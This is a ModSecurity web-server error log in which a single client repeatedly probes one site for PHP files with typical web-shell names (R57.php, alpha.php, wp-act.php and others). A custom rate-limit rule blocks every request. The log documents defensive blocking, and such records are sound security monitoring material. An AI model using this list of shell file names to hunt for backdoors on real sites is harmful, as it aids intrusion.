[Sat Feb 28 01:45:56.463313 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:27339] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aaHYVC1iKL_41Rk9A9OFoQAAAA0"]
[Sat Feb 28 01:45:56.980995 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:18980] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/R57.php"] [unique_id "aaHYVAP6I7SRqrhh7RohpAAAAVU"]
[Sat Feb 28 01:45:57.498426 2026] [:error] [pid 15100:tid 15173] [client 20.100.197.204:4144] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/R57.php"] [unique_id "aaHYVUOEbzcINan_ctLMawAAAE0"]
[Sat Feb 28 01:45:58.016927 2026] [:error] [pid 15099:tid 15145] [client 20.100.197.204:58920] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/R57.php"] [unique_id "aaHYVunvP2vtPjYDq_g9jwAAAMw"]
[Sat Feb 28 01:45:58.535053 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:16096] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/R57.php"] [unique_id "aaHYVr_i6nvKNhjFW7VXbAAAARg"]
[Sat Feb 28 01:45:59.052725 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:33381] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4h.php"] [unique_id "aaHYVwP6I7SRqrhh7RohqwAAAUM"]
[Sat Feb 28 01:45:59.572649 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:19283] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4h.php"] [unique_id "aaHYVwP6I7SRqrhh7RohsQAAAUA"]
[Sat Feb 28 01:46:00.091082 2026] [:error] [pid 38620:tid 38623] [client 20.100.197.204:21326] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4h.php"] [unique_id "aaHYWAP6I7SRqrhh7RohtwAAAUE"]
[Sat Feb 28 01:46:00.607778 2026] [:error] [pid 15099:tid 15133] [client 20.100.197.204:19316] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/4h.php"] [unique_id "aaHYWOnvP2vtPjYDq_g9lQAAAMA"]
[Sat Feb 28 01:46:01.125119 2026] [:error] [pid 38586:tid 38608] [client 20.100.197.204:4639] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "aaHYWb_i6nvKNhjFW7VXcQAAARM"]
[Sat Feb 28 01:46:01.649082 2026] [:error] [pid 15099:tid 15157] [client 20.100.197.204:6598] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "aaHYWenvP2vtPjYDq_g9lwAAANg"]
[Sat Feb 28 01:46:02.171076 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:4651] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "aaHYWr_i6nvKNhjFW7VXdwAAAQ8"]
[Sat Feb 28 01:46:02.687638 2026] [:error] [pid 38586:tid 38610] [client 20.100.197.204:19327] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yussef.php"] [unique_id "aaHYWr_i6nvKNhjFW7VXeAAAARU"]
[Sat Feb 28 01:46:03.205253 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:27361] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aaHYWwP6I7SRqrhh7RohyQAAAUM"]
[Sat Feb 28 01:46:03.723382 2026] [:error] [pid 15100:tid 15176] [client 20.100.197.204:58899] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aaHYW0OEbzcINan_ctLMbgAAAFA"]
[Sat Feb 28 01:46:04.239874 2026] [:error] [pid 15100:tid 15183] [client 20.100.197.204:16635] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aaHYXEOEbzcINan_ctLMcAAAAFc"]
[Sat Feb 28 01:46:04.755814 2026] [:error] [pid 15100:tid 15172] [client 20.100.197.204:30780] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aaHYXEOEbzcINan_ctLMcgAAAEw"]
[Sat Feb 28 01:46:05.272572 2026] [:error] [pid 38586:tid 38601] [client 20.100.197.204:18990] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aaHYXb_i6nvKNhjFW7VXggAAAQw"]
[Sat Feb 28 01:46:05.788578 2026] [:error] [pid 15100:tid 15167] [client 20.100.197.204:33398] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aaHYXUOEbzcINan_ctLMeAAAAEc"]
[Sat Feb 28 01:46:06.305723 2026] [:error] [pid 15098:tid 15128] [client 20.100.197.204:30764] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aaHYXskFqny8dQQbmTkrkwAAAJY"]
[Sat Feb 28 01:46:06.824623 2026] [:error] [pid 15099:tid 15154] [client 20.100.197.204:4653] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "aaHYXunvP2vtPjYDq_g9nwAAANU"]
[Sat Feb 28 01:46:07.341539 2026] [:error] [pid 38586:tid 38609] [client 20.100.197.204:19287] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aaHYX7_i6nvKNhjFW7VXiAAAARQ"]
[Sat Feb 28 01:46:07.858326 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:4114] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aaHYXwP6I7SRqrhh7Roh0wAAAVI"]
[Sat Feb 28 01:46:08.374726 2026] [:error] [pid 15098:tid 15114] [client 20.100.197.204:27336] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aaHYYMkFqny8dQQbmTkrmQAAAIg"]
[Sat Feb 28 01:46:08.892910 2026] [:error] [pid 15240:tid 15260] [client 20.100.197.204:18965] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zu.php"] [unique_id "aaHYYC1iKL_41Rk9A9OFtgAAABI"]
[Sat Feb 28 01:46:09.416178 2026] [:error] [pid 15098:tid 15107] [client 20.100.197.204:16613] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aaHYYckFqny8dQQbmTkrmwAAAII"]
[Sat Feb 28 01:46:09.934239 2026] [:error] [pid 15100:tid 15162] [client 20.100.197.204:33348] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aaHYYUOEbzcINan_ctLMhwAAAEI"]
[Sat Feb 28 01:46:10.454808 2026] [:error] [pid 15099:tid 15141] [client 20.100.197.204:16617] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aaHYYunvP2vtPjYDq_g9pwAAAMg"]
[Sat Feb 28 01:46:10.972387 2026] [:error] [pid 15099:tid 15140] [client 20.100.197.204:4108] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "aaHYYunvP2vtPjYDq_g9rQAAAMc"]
[Sat Feb 28 01:46:11.495128 2026] [:error] [pid 15100:tid 15164] [client 20.100.197.204:27346] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaHYY0OEbzcINan_ctLMiAAAAEQ"]
[Sat Feb 28 01:46:12.011473 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:16616] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaHYZAP6I7SRqrhh7Roh2QAAAVM"]
[Sat Feb 28 01:46:12.527488 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:1213] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaHYZAP6I7SRqrhh7Roh2wAAAVY"]
[Sat Feb 28 01:46:13.043424 2026] [:error] [pid 15099:tid 15154] [client 20.100.197.204:16585] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaHYZenvP2vtPjYDq_g9sAAAANU"]
[Sat Feb 28 01:46:13.560042 2026] [:error] [pid 15240:tid 15265] [client 20.100.197.204:19324] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaHYZS1iKL_41Rk9A9OFyQAAABc"]
[Sat Feb 28 01:46:14.078121 2026] [:error] [pid 15240:tid 15249] [client 20.100.197.204:33364] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaHYZi1iKL_41Rk9A9OFzwAAAAc"]
[Sat Feb 28 01:46:14.595884 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:18987] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaHYZr_i6nvKNhjFW7VXkwAAAQ8"]
[Sat Feb 28 01:46:15.113898 2026] [:error] [pid 15098:tid 15118] [client 20.100.197.204:36250] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaHYZ8kFqny8dQQbmTkrowAAAIw"]
[Sat Feb 28 01:46:15.630460 2026] [:error] [pid 15099:tid 15135] [client 20.100.197.204:30754] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaHYZ-nvP2vtPjYDq_g9tAAAAMI"]
[Sat Feb 28 01:46:16.147367 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:58914] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaHYaAP6I7SRqrhh7Roh5wAAAUU"]
[Sat Feb 28 01:46:16.664841 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:4151] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaHYaC1iKL_41Rk9A9OF2AAAABQ"]
[Sat Feb 28 01:46:17.183055 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:58932] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ze.php"] [unique_id "aaHYaQP6I7SRqrhh7Roh7gAAAUs"]
[Sat Feb 28 01:46:17.700597 2026] [:error] [pid 15099:tid 15141] [client 20.100.197.204:30752] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaHYaenvP2vtPjYDq_g9tQAAAMg"]
[Sat Feb 28 01:46:18.216869 2026] [:error] [pid 38586:tid 38589] [client 20.100.197.204:18959] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaHYar_i6nvKNhjFW7VXmwAAAQA"]
[Sat Feb 28 01:46:18.734923 2026] [:error] [pid 38586:tid 38608] [client 20.100.197.204:30736] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/seetox.php"] [unique_id "aaHYar_i6nvKNhjFW7VXnwAAARM"]
[Sat Feb 28 01:46:26.930487 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:27386] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaHYcr_i6nvKNhjFW7VXxgAAAQE"]
[Sat Feb 28 01:46:27.448040 2026] [:error] [pid 15240:tid 15249] [client 20.100.197.204:1193] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaHYcy1iKL_41Rk9A9OF8wAAAAc"]
[Sat Feb 28 01:46:27.964230 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:3475] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaHYc7_i6nvKNhjFW7VXyAAAAQI"]
[Sat Feb 28 01:46:28.480015 2026] [:error] [pid 15100:tid 15180] [client 20.100.197.204:1205] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aaHYdEOEbzcINan_ctLMtgAAAFQ"]
[Sat Feb 28 01:46:28.997837 2026] [:error] [pid 15099:tid 15139] [client 20.100.197.204:33357] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaHYdOnvP2vtPjYDq_g9wAAAAMY"]
[Sat Feb 28 01:46:29.515669 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:58903] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaHYdb_i6nvKNhjFW7VXzwAAAQo"]
[Sat Feb 28 01:46:30.035208 2026] [:error] [pid 38586:tid 38594] [client 20.100.197.204:27333] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaHYdr_i6nvKNhjFW7VX1gAAAQU"]
[Sat Feb 28 01:46:30.553294 2026] [:error] [pid 15100:tid 15160] [client 20.100.197.204:27387] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaHYdkOEbzcINan_ctLMugAAAEA"]
[Sat Feb 28 01:46:31.070990 2026] [:error] [pid 15100:tid 15164] [client 20.100.197.204:4115] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaHYd0OEbzcINan_ctLMvQAAAEQ"]
[Sat Feb 28 01:46:31.588581 2026] [:error] [pid 15240:tid 15260] [client 20.100.197.204:4633] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaHYdy1iKL_41Rk9A9OF-wAAABI"]
[Sat Feb 28 01:46:32.105632 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:16608] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaHYeAP6I7SRqrhh7RoiCwAAAVY"]
